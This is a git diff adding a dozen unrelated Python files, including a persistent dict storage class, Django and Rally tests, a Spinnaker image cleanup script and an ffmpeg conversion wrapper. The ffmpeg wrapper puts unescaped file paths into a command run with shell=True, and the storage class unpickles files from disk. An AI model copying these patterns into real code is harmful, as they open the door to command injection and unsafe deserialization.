triple like 0644 + self.file_format = file_format # 'csv', 'json', or 'pickle' + self.filename = filename + if flag != 'n' and os.access(filename, os.R_OK): + log.debug('Reading %s storage from disk at "%s"', + self.file_format, self.filename) + fileobj = open(filename, 'rb' if file_format == 'pickle' else 'r') + with fileobj: + self.load(fileobj) + + def sync(self): + '''Write the dict to disk''' + if self.flag == 'r': + return + filename = self.filename + tempname = filename + '.tmp' + fileobj = open(tempname, 'wb' if self.file_format == 'pickle' else 'w') + try: + self.dump(fileobj) + except Exception: + os.remove(tempname) + raise + finally: + fileobj.close() + shutil.move(tempname, self.filename) # atomic commit + if self.mode is not None: + os.chmod(self.filename, self.mode) + + def close(self): + '''Calls sync''' + self.sync() + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + def dump(self, fileobj): + '''Handles the writing of the dict to the file object''' + if self.file_format == 'csv': + csv.writer(fileobj).writerows(self.raw_dict().items()) + elif self.file_format == 'json': + json.dump(self.raw_dict(), fileobj, separators=(',', ':')) + elif self.file_format == 'pickle': + pickle.dump(dict(self.raw_dict()), fileobj, 2) + else: + raise NotImplementedError('Unknown format: ' + + repr(self.file_format)) + + def load(self, fileobj): + '''Load the dict from the file object''' + # try formats from most restrictive to least restrictive + for loader in (pickle.load, json.load, csv.reader): + fileobj.seek(0) + try: + return self.initial_update(loader(fileobj)) + except Exception as e: + pass + raise ValueError('File not in a supported format') + + def raw_dict(self): + '''Returns the underlying dict''' + raise NotImplementedError + + +class _Storage(collections.MutableMapping, _PersistentDictMixin): + '''Storage that acts like a dict but also can persist to disk. + + :param filename: An absolute filepath to reprsent the storage on disk. The + storage will loaded from this file if it already exists, + otherwise the file will be created. + :param file_format: 'pickle', 'json' or 'csv'. pickle is the default. Be + aware that json and csv have limited support for python + objets. + + .. warning:: Currently there are no limitations on the size of the storage. + Please be sure to call :meth:`~xbmcswift2._Storage.clear` + periodically. + ''' + + def __init__(self, filename, file_format='pickle'): + '''Acceptable formats are 'csv', 'json' and 'pickle'.''' + self._items = {} + _PersistentDictMixin.__init__(self, filename, file_format=file_format) + + def __setitem__(self, key, val): + self._items.__setitem__(key, val) + + def __getitem__(self, key): + return self._items.__getitem__(key) + + def __delitem__(self, key): + self._items.__delitem__(key) + + def __iter__(self): + return iter(self._items) + + def __len__(self): + return self._items.__len__ + + def raw_dict(self): + '''Returns the wrapped dict''' + return self._items + + initial_update = collections.MutableMapping.update + + def clear(self): + super(_Storage, self).clear() + self.sync() + + +class TimedStorage(_Storage): + '''A dict with the ability to persist to disk and TTL for items.''' + + def __init__(self, filename, file_format='pickle', TTL=None): + '''TTL if provided should be a datetime.timedelta. Any entries + older than the provided TTL will be removed upon load and upon item + access. + ''' + self.TTL = TTL + _Storage.__init__(self, filename, file_format=file_format) + + def __setitem__(self, key, val, raw=False): + if raw: + self._items[key] = val + else: + self._items[key] = (val, time.time()) + + def __getitem__(self, key): + val, timestamp = self._items[key] + if self.TTL and (datetime.utcnow() - + datetime.utcfromtimestamp(timestamp) > self.TTL): + del self._items[key] + return self._items[key][0] # Will raise KeyError + return val + + def initial_update(self, mapping): + '''Initially fills the underlying dictionary with keys, values and + timestamps. + ''' + for key, val in mapping.items(): + _, timestamp = val + if not self.TTL or (datetime.utcnow() - + datetime.utcfromtimestamp(timestamp) < self.TTL): + self.__setitem__(key, val, raw=True) diff --git a/pool/shard009/Python/0082784_config.py b/pool/shard009/Python/0082784_config.py new file mode 100644 index 0000000000000000000000000000000000000000..6f6d30a67419e0ed3eee297d84a6021c09182408 --- /dev/null +++ b/pool/shard009/Python/0082784_config.py @@ -0,0 +1,89 @@ +"""utility functions for tests""" +import os +import copy + +import yaml + + +def rewrite_config(config_filename, config_output_dir, replace_dict): + """rewrites config files, + e.g. to insert name of temporary directories + + Parameters + ---------- + config_filename : str + absolute path to config file that is being rewritten + config_output_dir : str + absolute path to config file to where rewritten config should be saved + replace_dict : dict + keys are strings to search for + values are 2-element tuples + element 1: another string to search for + element 2: string put in place of element 1 + used to find keys and values in config dicts + i.e. first match key from replace_dict with key in config_dict, + then replace val in config dict (element 1) with actual val (element 2) + element 2 will be the name of the temporary directory generated by pytest + + Returns + ------- + save_filename : str + filename with absolute path which config file should be saved as after rewrite + """ + + # find key in config dict and replace value for that key + with open(config_filename) as config_file: + config_as_list = config_file.readlines() + for key, val_tuple in replace_dict.items(): + for ind, line in enumerate(config_as_list): + if key in line: + config_as_list[ind] = config_as_list[ind].replace( + val_tuple[0], val_tuple[1] + ) + + save_filename = os.path.join( + str(config_output_dir), os.path.basename(config_filename)[:-3] + "rewrite.yml" + ) + + # write to file in temporary configs dir + with open(save_filename, "w") as tmp_config_file: + tmp_config_file.writelines(config_as_list) + + # now open yaml and rewrite paths as absolute, if necessary + # (for extract and predict where data_dir path relative to + # tests directory won't work when config is in tmp_output_dir ... + # (don't save rewritten config in test dir because that + # makes annoying extra files every time you run the test)) + with open(save_filename, "r") as yml: + config_yaml = yaml.load(yml, Loader=yaml.FullLoader) + + if "extract" in config_yaml: + config_type = "extract" + elif "select" in config_yaml: + config_type = "select" + elif "predict" in config_yaml: + config_type = "predict" + + if config_type in ("extract", "predict"): + config_copy = copy.deepcopy(config_yaml) + for key, val in config_yaml[config_type].items(): + if key == "todo_list": + for todo_ind, todo in enumerate(val): + for todo_key, todo_val in todo.items(): + if todo_key == "data_dirs": + new_data_dirs = [] + for data_dir in todo_val: + new_data_dirs.append( + os.path.join( + os.path.dirname(config_filename), + os.path.normpath(data_dir), + ) + ) + config_copy[config_type]["todo_list"][todo_ind][ + "data_dirs" + ] = new_data_dirs + + with open(save_filename, "w") as save_again: + yaml.dump(config_copy, save_again, default_flow_style=False) + + return save_filename diff --git a/pool/shard009/Python/0082785_test_sync.py b/pool/shard009/Python/0082785_test_sync.py new file mode 100644 index 0000000000000000000000000000000000000000..491fc3f11e2b4ab5b8607c5b8b4acb03e3e81752 --- /dev/null +++ b/pool/shard009/Python/0082785_test_sync.py @@ -0,0 +1,53 @@ +from unittest import mock + +from django.conf import settings +from django.test import TestCase, override_settings + +from daiquiri.jobs.tests.mixins import SyncTestMixin +from daiquiri.query.models import QueryJob, Example + + +@override_settings(QUERY_ANONYMOUS=True) +@mock.patch(settings.ADAPTER_DATABASE + '.submit_query', mock.Mock()) +@mock.patch(settings.ADAPTER_DATABASE + '.fetch_nrows', mock.Mock(return_value=100)) +@mock.patch(settings.ADAPTER_DATABASE + '.fetch_size', mock.Mock(return_value=100)) +@mock.patch(settings.ADAPTER_DATABASE + '.count_rows', mock.Mock(return_value=100)) +@mock.patch(settings.ADAPTER_DATABASE + '.rename_table', mock.Mock()) +@mock.patch(settings.ADAPTER_DATABASE + '.drop_table', mock.Mock()) +@mock.patch(settings.ADAPTER_DATABASE + '.create_user_schema_if_not_exists', mock.Mock()) +class SyncTestCase(SyncTestMixin, TestCase): + + databases = ('default', 'data', 'tap', 'oai') + + fixtures = ( + 'auth.json', + 'metadata.json', + 'jobs.json', + 'queryjobs.json', + 'examples.json' + ) + + users = ( + ('admin', 'admin'), + ('user', 'user'), + ('evil', 'evil'), + ('anonymous', None), + ) + + url_names = { + 'list': 'tap:sync-list' + } + + jobs = QueryJob.objects.filter(owner__username='user') + + def get_parameter_for_new_jobs(self, username): + return [{ + 'LANG': example.query_language, + 'QUERY': example.query_string + } for example in Example.objects.filter(access_level='PUBLIC')] + + def get_parameter_for_new_jobs_internal(self, username): + return [{ + 'LANG': example.query_language, + 'QUERY': example.query_string + } for example in Example.objects.filter(access_level='INTERNAL')] diff --git a/pool/shard009/Python/0082789_list.py b/pool/shard009/Python/0082789_list.py new file mode 100644 index 0000000000000000000000000000000000000000..228fc1ae50fc9b698010b4e7184c6fa91a029d58 --- /dev/null +++ b/pool/shard009/Python/0082789_list.py @@ -0,0 +1,26 @@ +import struct +from .region import Region + + +class ListRegion(Region): + """Region which will write out a list of values.""" + def __init__(self, format_str): + """Create a new list region. + + Parameters + ---------- + format_str : + Format string (see Python `struct` module) to use to format each + item. Little-endianness is presumed. + """ + self.format_str = format_str + + def sizeof(self, items): + """Get the size of the list that will store the given items.""" + return struct.calcsize(self.format_str) * len(items) + + def write_subregion_to_file(self, fp, items): + """Write the given items to file.""" + fp.write( + struct.pack("<{}{}".format(len(items), self.format_str), *items) + ) diff --git a/pool/shard009/Python/0082790_dreplicas.py b/pool/shard009/Python/0082790_dreplicas.py new file mode 100644 index 0000000000000000000000000000000000000000..ec398cac85101fb7df59043d83af065e3c8b2ee3 --- /dev/null +++ b/pool/shard009/Python/0082790_dreplicas.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +""" +list replicas for files in the FileCatalog +""" + +import os + +import DIRAC +from COMDIRAC.Interfaces import critical, error +from COMDIRAC.Interfaces import DSession +from COMDIRAC.Interfaces import DCatalog +from COMDIRAC.Interfaces import pathFromArgument +from DIRAC.Core.Utilities.ReturnValues import returnSingleResult + +if __name__ == "__main__": + import sys + + from DIRAC.Core.Base import Script + + Script.setUsageMessage( '\n'.join( [ __doc__.split( '\n' )[1], + 'Usage:', + ' %s lfn...' % Script.scriptName, + 'Arguments:', + ' lfn: logical file name', ] ) + ) + + Script.parseCommandLine( ignoreErrors = True ) + args = Script.getPositionalArgs() + + session = DSession() + catalog = DCatalog() + + if len( args ) < 1: + error("No argument provided\n%s:" % Script.scriptName) + Script.showHelp() + DIRAC.exit( -1 ) + + Script.enableCS() + + exitCode = 0 + + for arg in args: + # lfn + lfn = pathFromArgument( session, args[ 0 ] ) + #fccli.do_replicas( lfn ) + ret = returnSingleResult( catalog.catalog.getReplicas( lfn ) ) + if ret['OK']: + replicas = ret['Value'] + print lfn + ':' + for se, path in replicas.items(): + print ' ', se, path + else: + error( lfn + ': ' + ret['Message'] ) + exitCode = -2 + +DIRAC.exit( exitCode ) diff --git a/pool/shard009/Python/0082791_convert.py b/pool/shard009/Python/0082791_convert.py new file mode 100644 index 0000000000000000000000000000000000000000..54de0d4218ead7ce0782f748f3815776c5cd5db4 --- /dev/null +++ b/pool/shard009/Python/0082791_convert.py @@ -0,0 +1,25 @@ +from subprocess import Popen, PIPE +import os + +class Convert(): + """ Use ffmpeg to convert a media file """ + def __init__(self, dest_file_path, src_file_path, start_time, end_time): + command = self.build_command(dest_file_path, src_file_path, start_time, end_time) + print(command) + self.execute_command(command) + self.remove_original(src_file_path) + + def build_command(self, file_path, sub_file_path, start_time, end_time): + # builds command for ffmpeg to convert stream + command = ('ffmpeg -i \"%s\" -ss %s -to %s -async 1 \"%s\"' + %(sub_file_path, start_time, end_time, file_path)) + return command + + def execute_command(self, cmd): + # execute command + proc = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE) + proc.communicate() + + def remove_original(self, sub_file_path): + # remove the old format + os.remove(sub_file_path) \ No newline at end of file diff --git a/pool/shard009/Python/0082802_test_keypad_update.py b/pool/shard009/Python/0082802_test_keypad_update.py new file mode 100644 index 0000000000000000000000000000000000000000..ebb2343e6a67058bd6ffa595eba6526eba816557 --- /dev/null +++ b/pool/shard009/Python/0082802_test_keypad_update.py @@ -0,0 +1,52 @@ +import logging +import json +import re +from pyenvisalink.dsc_envisalinkdefs import * +from pyenvisalink import AlarmState + +_LOGGER = logging.getLogger(__name__) + +loggingconfig = {'level': 'DEBUG', + 'format': '%(asctime)s %(levelname)s <%(name)s %(module)s %(funcName)s> %(message)s', + 'datefmt': '%a, %d %b %Y %H:%M:%S'} + +logging.basicConfig(**loggingconfig) +evl_verboseTrouble = { + 0 : 'Service is Required', + 1 : 'AC Power Lost', + 2 : 'Telephone Line Fault', + 3 : 'Failure to communicate', + 4 : 'Zone/Sensor Fault', + 5 : 'Zone/Sensor Tamper', + 6 : 'Zone/Sensor Low Battery', + 7 : 'Loss of time' +} + + +alarmState = AlarmState.get_initial_alarm_state(64, 8) + +def handle_keypad_update(code, data): + """Handle general- non partition based info""" + if code == '849': + bits = "{0:016b}".format(int(data,16)) + trouble_description = "" + ac_present = True + print(bits) + for i in range(0, 7): + if bits[15-i] == '1': + trouble_description += evl_verboseTrouble[i] + ', ' + if i == 1: + ac_present = False + new_status = {'alpha':trouble_description.strip(', '), 'ac_present': ac_present} + else: + new_status = evl_ResponseTypes[code]['status'] + + for part in alarmState['partition']: + alarmState['partition'][part]['status'].update(new_status) + _LOGGER.debug(str.format("(All partitions) state has updated: {0}", json.dumps(new_status))) + +_LOGGER.info('Alarm State before:') +print(alarmState['partition']) +handle_keypad_update('849','02') +_LOGGER.info('Alarm State after:') +print(alarmState['partition']) diff --git a/pool/shard009/Python/0082803_ha_image_janitor.py b/pool/shard009/Python/0082803_ha_image_janitor.py new file mode 100644 index 0000000000000000000000000000000000000000..f5e78c090021df493ae0be5956109f5cfd7d1235 --- /dev/null +++ b/pool/shard009/Python/0082803_ha_image_janitor.py @@ -0,0 +1,202 @@ +#!/usr/bin/python +# +# Copyright 2017 Google Inc. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import argparse +import datetime +import json +import os +import re +import sys +import yaml + +from google.cloud import storage +from buildtool import check_subprocess, run_subprocess + + +"""Provides a utility to clean up the Google Cloud VM images produced during a + build of Spinnaker. + +Only a small subset of VM images produced during a Spinnaker build are +referenced (by component version) by a Spinnaker bill of material (BOM). The +rest of the unreferenced VM images need periodically deleted. This script will +be run periodically to reap old, unreferenced images. +""" + + +RELEASED_VERSION_MATCHER = re.compile('^[0-9]+\.[0-9]+\.[0-9]+\.yml$') + +SERVICES = [ + 'clouddriver', + 'deck', + 'echo', + 'front50', + 'gate', + 'igor', + 'orca', + 'rosco', + 'fiat' +] + +PUBLISHED_TAG_KEY = 'published' + + +def __partition_boms(gcs_client, bucket_name): + def __bom_to_tag(bom_blob): + name = os.path.basename(bom_blob.name) + return RELEASED_VERSION_MATCHER.match(name) + + def __bom_to_version(bom_blob): + return os.path.basename(bom_blob.name).replace('.yml', '') + + bucket = gcs_client.get_bucket(bucket_name) + all_bom_blobs = [b for b in bucket.list_blobs(prefix='bom') if b.name.endswith('.yml')] + bom_contents_by_name = {__bom_to_version(b): b.download_as_string() for b in all_bom_blobs} + + versions_to_tag = [__bom_to_version(bom) for bom in all_bom_blobs if __bom_to_tag(bom)] + possible_versions_to_delete = [__bom_to_version(bom) for bom in all_bom_blobs if not __bom_to_tag(bom)] + return (versions_to_tag, possible_versions_to_delete, bom_contents_by_name) + + +def __image_age_days(image_json): + # HACK: Cut off the timezone because strptime() can't deal with timezones. + # Timezone offset is 5 characters of the form: +00:00 or -00:00. + timestamp = image_json['creationTimestamp'][:len(image_json['creationTimestamp'])-6] + time_created = datetime.datetime.strptime(timestamp, '%Y-%m-%dT%H:%M:%S.%f') + now = datetime.datetime.utcnow() + return (now - time_created).days + + +def __tag_images(versions_to_tag, project, account, project_images, bom_contents_by_name): + images_to_tag = set([]) + for bom_version in versions_to_tag: + to_tag = [i for i in __derive_images_from_bom(bom_version, bom_contents_by_name) if i in project_images] + images_to_tag.update(to_tag) + for image in images_to_tag: + return_code, stdout = run_subprocess( + 'gcloud compute images describe' + ' --project={project} --account={account} --format=json {image}' + .format(project=project, account=account, image=image), echo=False) + # Adding labels is idempotent, adding the same label again doesn't break anything. + if not return_code: + payload_str = stdout.strip() + timestamp = json.loads(payload_str)['creationTimestamp'] + timestamp = timestamp[:timestamp.index('T')] + check_subprocess( + 'gcloud compute images add-labels --project={project} --account={account} --labels={key}={timestamp} {image}' + .format(project=project, account=account, key=PUBLISHED_TAG_KEY, timestamp=timestamp, image=image)) + + +def __write_image_delete_script(possible_versions_to_delete, days_before, project, + account, project_images, bom_contents_by_name): + images_to_delete = set([]) + print 'Calculating images for {} versions to delete.'.format(len(possible_versions_to_delete)) + for bom_version in possible_versions_to_delete: + deletable = [i for i in __derive_images_from_bom(bom_version, bom_contents_by_name) if i in project_images] + images_to_delete.update(deletable) + delete_script_lines = [] + for image in images_to_delete: + return_code, stdout = run_subprocess( + 'gcloud compute images describe' + ' --project={project} --account={account} --format=json {image}' + .format(project=project, account=account, image=image), echo=False) + json_str = '' + if return_code: + # Some BOMs may refer to service versions without HA images. + print('Lookup for image {image} in project {project} failed, ignoring'.format(image=image, project=project)) + continue + else: + json_str = stdout.strip() + payload = json.loads(json_str) + + if __image_age_days(payload) > days_before: + labels = payload.get('labels', None) + if not labels or not PUBLISHED_TAG_KEY in labels: + line = 'gcloud compute images delete --project={project} --account={account} {image} -q'.format(project=project, account=account, image=image) + delete_script_lines.append(line) + delete_script = '\n'.join(delete_script_lines) + timestamp = '{:%Y%m%d%H%M%S}'.format(datetime.datetime.utcnow()) + script_name = 'delete-images-{}'.format(timestamp) + with open(script_name, 'w') as script: + script.write(delete_script) + print 'Wrote image janitor script to {}'.format(script_name) + + +def __derive_images_from_bom(bom_version, contents_by_name): + bom_content_str = contents_by_name[bom_version] + bom_dict = yaml.safe_load(bom_content_str) + service_entries = bom_dict['services'] + return [__format_image_name(s, service_entries) for s in SERVICES] + + +def __format_image_name(service_name, service_entries): + service_version = service_entries[service_name]['version'] + dash_version = service_version.replace('.', '-') + return 'spinnaker-{service}-{version}'.format(service=service_name, + version=dash_version) + + +def __delete_unused_bom_images(options): + client = None + if options.json_path: + client = storage.Client.from_service_account_json(options.json_path) + else: + client = storage.Client() + versions_to_tag, possible_versions_to_delete, bom_contents_by_name = __partition_boms(client, options.bom_bucket_name) + if options.additional_boms_to_tag: + additional_boms_to_tag = options.additional_boms_to_tag.split(',') + print('Adding additional BOM versions to tag: {}'.format(additional_boms_to_tag)) + versions_to_tag.extend(additional_boms_to_tag) + print('Tagging versions: {}'.format(versions_to_tag)) + print('Deleting versions: {}'.format(possible_versions_to_delete)) + + project = options.project + service_account = options.service_account + image_list_str = check_subprocess('gcloud compute images list --format=json --project={project} --account={account}' + .format(project=project, account=service_account), echo=False) + image_list = json.loads(image_list_str) + project_images = set([image['name'] for image in image_list]) + __tag_images(versions_to_tag, project, service_account, project_images, + bom_contents_by_name) + __write_image_delete_script(possible_versions_to_delete, options.days_before, project, + service_account, project_images, + bom_contents_by_name) + + +def init_argument_parser(parser): + parser.add_argument('--additional_boms_to_tag', default='', + help='Comma-delimited list of additional BOM versions to tag' + 'to avoid deletion.') + parser.add_argument('--bom_bucket_name', default='halconfig', + help='The name of the Halyard bucket storing the BOMs.') + parser.add_argument('--days_before', default=14, + help='Max age in days of nightly build BOMs to save.') + parser.add_argument('--json_path', default='', + help='Path to the service account credentials with access to the BOM bucket.') + parser.add_argument('--project', default='', required=True, + help='GCP project the HA images are stored in.') + parser.add_argument('--service_account', default='', required=True, + help='Name of the service account to manipulate images with.') + + +def main(): + parser = argparse.ArgumentParser() + init_argument_parser(parser) + options = parser.parse_args() + __delete_unused_bom_images(options) + + +if __name__ == '__main__': + sys.exit(main()) diff --git a/pool/shard009/Python/0082804_random.py b/pool/shard009/Python/0082804_random.py new file mode 100644 index 0000000000000000000000000000000000000000..0c1170f3c43b36cc915a67728622ae44d7bd1475 --- /dev/null +++ b/pool/shard009/Python/0082804_random.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python +""" +Random submodule for `rotpy` +============================ + +This module provides methods for generating random rotations. + +note: Methods defined here _may_ be moved to separate modules corresponding +to each rotation parametrization in the future. That will depend on where we +take the overall package architecture. + +""" + +import numpy as np + +def rotation_matrix(p=3, N=1, algorithm='Cayley'): + """Random matrix in SO(p). + + Parameters + ---------- + p : int + Dimension of random rotation matrix. + N : int + Number of matrices to generate. + + Returns + ------- + R : ndarray (N-by-N) + Random matrix in SO(p) + + .. note:: The current code does not make matrices _uniformly_ random. + + """ + + # TODO support returning multiple matrices + if algorithm == 'Cayley': + Q = skew_matrix(p) + I = np.eye(p) + R = np.linalg.solve(I - Q, I + Q) + else: + err = "Requested algorithm: {0} is not implemented." + raise NotImplementedError(err.format(algorithm)) + return R + + +def skew_matrix(p=3, algorithm='axiom'): + """Uniformly random skew-symmetric matrix. + + Parameters + ---------- + p : int + Dimension of random skew-symmetric matrix. + + Returns + ------- + Q : ndarray (p-by-p) + Uniformly random skew-symmetric matrix. + + """ + if algorithm == "axiom": + A = np.random.uniform(size=[p, p]) + Q = A - A.T + elif algorithm == "vector": + Q = vector_to_skew_matrix(np.random.uniform(size=p)) + else: + err = "Requested algorithm: {0} is not implemented." + raise NotImplementedError(err.format(algorithm)) + return Q + + +def vector_to_skew_matrix(v): + """Skew-symmetric matrix. + + Parameters + ---------- + v : array_like + Vector to skew-symmetrize. + + Returns + ------- + Q : ndarray + Skew-symmetric matrix. + + .. note:: This method is useful beyond generating random rotations, + so it may be moved to a different module in the future. + + """ + if len(v) != 3: + raise NotImplementedError('only 3D is implemented') + else: + Q = np.zeros([len(v), len(v)]) + Q[1, 2] = -v[0] + Q[2, 1] = v[0] + Q[0, 2] = -v[1] + Q[2, 0] = v[1] + Q[0, 1] = -v[2] + Q[1, 0] = v[2] + return Q diff --git a/pool/shard009/Python/0082808_order.py b/pool/shard009/Python/0082808_order.py new file mode 100644 index 0000000000000000000000000000000000000000..772769084d5089acd08cf26dbdbf804a92d97479 --- /dev/null +++ b/pool/shard009/Python/0082808_order.py @@ -0,0 +1,202 @@ +# coding: utf-8 + +from __future__ import absolute_import +from .base_model_ import Model +from datetime import date, datetime +from typing import List, Dict +from ..util import deserialize_model + + +class Order(Model): + """ + NOTE: This class is auto generated by the swagger code generator program. + Do not edit the class manually. + """ + def __init__(self, id: int=None, pet_id: int=None, quantity: int=None, ship_date: datetime=None, status: str=None, complete: bool=False): + """ + Order - a model defined in Swagger + + :param id: The id of this Order. + :type id: int + :param pet_id: The pet_id of this Order. + :type pet_id: int + :param quantity: The quantity of this Order. + :type quantity: int + :param ship_date: The ship_date of this Order. + :type ship_date: datetime + :param status: The status of this Order. + :type status: str + :param complete: The complete of this Order. + :type complete: bool + """ + self.swagger_types = { + 'id': int, + 'pet_id': int, + 'quantity': int, + 'ship_date': datetime, + 'status': str, + 'complete': bool + } + + self.attribute_map = { + 'id': 'id', + 'pet_id': 'petId', + 'quantity': 'quantity', + 'ship_date': 'shipDate', + 'status': 'status', + 'complete': 'complete' + } + + self._id = id + self._pet_id = pet_id + self._quantity = quantity + self._ship_date = ship_date + self._status = status + self._complete = complete + + @classmethod + def from_dict(cls, dikt) -> 'Order': + """ + Returns the dict as a model + + :param dikt: A dict. + :type: dict + :return: The Order of this Order. + :rtype: Order + """ + return deserialize_model(dikt, cls) + + @property + def id(self) -> int: + """ + Gets the id of this Order. + + :return: The id of this Order. + :rtype: int + """ + return self._id + + @id.setter + def id(self, id: int): + """ + Sets the id of this Order. + + :param id: The id of this Order. + :type id: int + """ + + self._id = id + + @property + def pet_id(self) -> int: + """ + Gets the pet_id of this Order. + + :return: The pet_id of this Order. + :rtype: int + """ + return self._pet_id + + @pet_id.setter + def pet_id(self, pet_id: int): + """ + Sets the pet_id of this Order. + + :param pet_id: The pet_id of this Order. + :type pet_id: int + """ + + self._pet_id = pet_id + + @property + def quantity(self) -> int: + """ + Gets the quantity of this Order. + + :return: The quantity of this Order. + :rtype: int + """ + return self._quantity + + @quantity.setter + def quantity(self, quantity: int): + """ + Sets the quantity of this Order. + + :param quantity: The quantity of this Order. + :type quantity: int + """ + + self._quantity = quantity + + @property + def ship_date(self) -> datetime: + """ + Gets the ship_date of this Order. + + :return: The ship_date of this Order. + :rtype: datetime + """ + return self._ship_date + + @ship_date.setter + def ship_date(self, ship_date: datetime): + """ + Sets the ship_date of this Order. + + :param ship_date: The ship_date of this Order. + :type ship_date: datetime + """ + + self._ship_date = ship_date + + @property + def status(self) -> str: + """ + Gets the status of this Order. + Order Status + + :return: The status of this Order. + :rtype: str + """ + return self._status + + @status.setter + def status(self, status: str): + """ + Sets the status of this Order. + Order Status + + :param status: The status of this Order. + :type status: str + """ + allowed_values = ["placed", "approved", "delivered"] + if status not in allowed_values: + raise ValueError( + "Invalid value for `status` ({0}), must be one of {1}" + .format(status, allowed_values) + ) + + self._status = status + + @property + def complete(self) -> bool: + """ + Gets the complete of this Order. + + :return: The complete of this Order. + :rtype: bool + """ + return self._complete + + @complete.setter + def complete(self, complete: bool): + """ + Sets the complete of this Order. + + :param complete: The complete of this Order. + :type complete: bool + """ + + self._complete = complete + diff --git a/pool/shard009/Python/0082810_guiutil.py b/pool/shard009/Python/0082810_guiutil.py new file mode 100644 index 0000000000000000000000000000000000000000..774c78affd02b72efc2ec04ac76a55f9a72d7496 --- /dev/null +++ b/pool/shard009/Python/0082810_guiutil.py @@ -0,0 +1,73 @@ +# OCFS2Console - GUI frontend for OCFS2 management and debugging +# Copyright (C) 2002, 2005 Oracle. All rights reserved. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. + +import gtk + +def set_props(obj, **kwargs): + for k, v in kwargs.items(): + obj.set_property(k, v) + +suffixes = ('K', 'MB', 'GB', 'TB') + +def format_bytes(bytes, show_bytes=False): + if bytes == 1: + return '1 byte' + elif bytes < 1024: + return str(bytes) + ' bytes' + + fbytes = float(bytes) + + i = -1 + while i < 3 and fbytes >= 1024: + fbytes /= 1024 + i += 1 + + if show_bytes: + return '%.1f %s (%sb)' % (fbytes, suffixes[i], bytes) + else: + return '%.0f %s' % (fbytes, suffixes[i]) + +def error_box(parent, msg): + dialog = gtk.MessageDialog(parent=parent, + flags=gtk.DIALOG_DESTROY_WITH_PARENT, + type=gtk.MESSAGE_ERROR, + buttons=gtk.BUTTONS_OK, + message_format=msg) + dialog.run() + dialog.destroy() + +def make_callback(obj, callback, sub_callback): + cb = getattr(obj, callback) + + if sub_callback: + sub_cb = getattr(obj, sub_callback) + + def cb_func(*args): + cb() + sub_cb() + else: + def cb_func(*args): + cb() + + return cb_func + +if hasattr(gtk.Dialog, 'set_alternative_button_order'): + Dialog = gtk.Dialog +else: + class Dialog(gtk.Dialog): + def set_alternative_button_order(self, new_order=None): + pass diff --git a/pool/shard009/Python/0082811_test_murano_packages.py b/pool/shard009/Python/0082811_test_murano_packages.py new file mode 100644 index 0000000000000000000000000000000000000000..56e4226171bced6329857de8c3d8227146afaf6f --- /dev/null +++ b/pool/shard009/Python/0082811_test_murano_packages.py @@ -0,0 +1,111 @@ +# Copyright 2015: Mirantis Inc. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import mock + +from rally.plugins.openstack.context.murano import murano_packages +from tests.unit import test + +CTX = "rally.plugins.openstack.context.murano.murano_packages" + + +class MuranoPackageGeneratorTestCase(test.TestCase): + + def setUp(self): + super(MuranoPackageGeneratorTestCase, self).setUp() + + @staticmethod + def _get_context(): + return { + "config": { + "users": { + "tenants": 2, + "users_per_tenant": 1, + "concurrent": 1, + }, + "murano_packages": { + "app_package": ( + "rally-jobs/extra/murano/" + "applications/HelloReporter/" + "io.murano.apps.HelloReporter.zip") + } + }, + "admin": { + "credential": mock.MagicMock() + }, + "task": mock.MagicMock(), + "users": [ + { + "id": "user_0", + "tenant_id": "tenant_0", + "credential": "credential" + }, + { + "id": "user_1", + "tenant_id": "tenant_1", + "credential": "credential" + } + ], + "tenants": { + "tenant_0": {"name": "tenant_0_name"}, + "tenant_1": {"name": "tenant_1_name"} + } + } + + @mock.patch("%s.osclients" % CTX) + def test_setup(self, mock_osclients): + mock_app = mock.MagicMock(id="fake_app_id") + (mock_osclients.Clients().murano(). + packages.create.return_value) = mock_app + + murano_ctx = murano_packages.PackageGenerator(self._get_context()) + murano_ctx.setup() + + self.assertEqual(2, len(murano_ctx.context["tenants"])) + tenant_id = murano_ctx.context["users"][0]["tenant_id"] + self.assertEqual([mock_app], + murano_ctx.context["tenants"][tenant_id]["packages"]) + + @mock.patch("%s.osclients" % CTX) + @mock.patch("%s.resource_manager.cleanup" % CTX) + def test_cleanup_with_zip(self, mock_cleanup, mock_osclients): + mock_app = mock.Mock(id="fake_app_id") + (mock_osclients.Clients().murano(). + packages.create.return_value) = mock_app + + murano_ctx = murano_packages.PackageGenerator(self._get_context()) + murano_ctx.setup() + murano_ctx.cleanup() + + mock_cleanup.assert_called_once_with(names=["murano.packages"], + users=murano_ctx.context["users"]) + + @mock.patch("%s.osclients" % CTX) + @mock.patch("%s.resource_manager.cleanup" % CTX) + def test_cleanup_with_dir(self, mock_cleanup, mock_osclients): + mock_app = mock.Mock(id="fake_app_id") + (mock_osclients.Clients().murano(). + packages.create.return_value) = mock_app + ctx_dict = self._get_context() + app_dir = ("rally-jobs/extra/murano/applications/" + "HelloReporter/io.murano.apps.HelloReporter/") + ctx_dict["config"]["murano_packages"]["app_package"] = app_dir + + murano_ctx = murano_packages.PackageGenerator(ctx_dict) + murano_ctx.setup() + murano_ctx.cleanup() + + 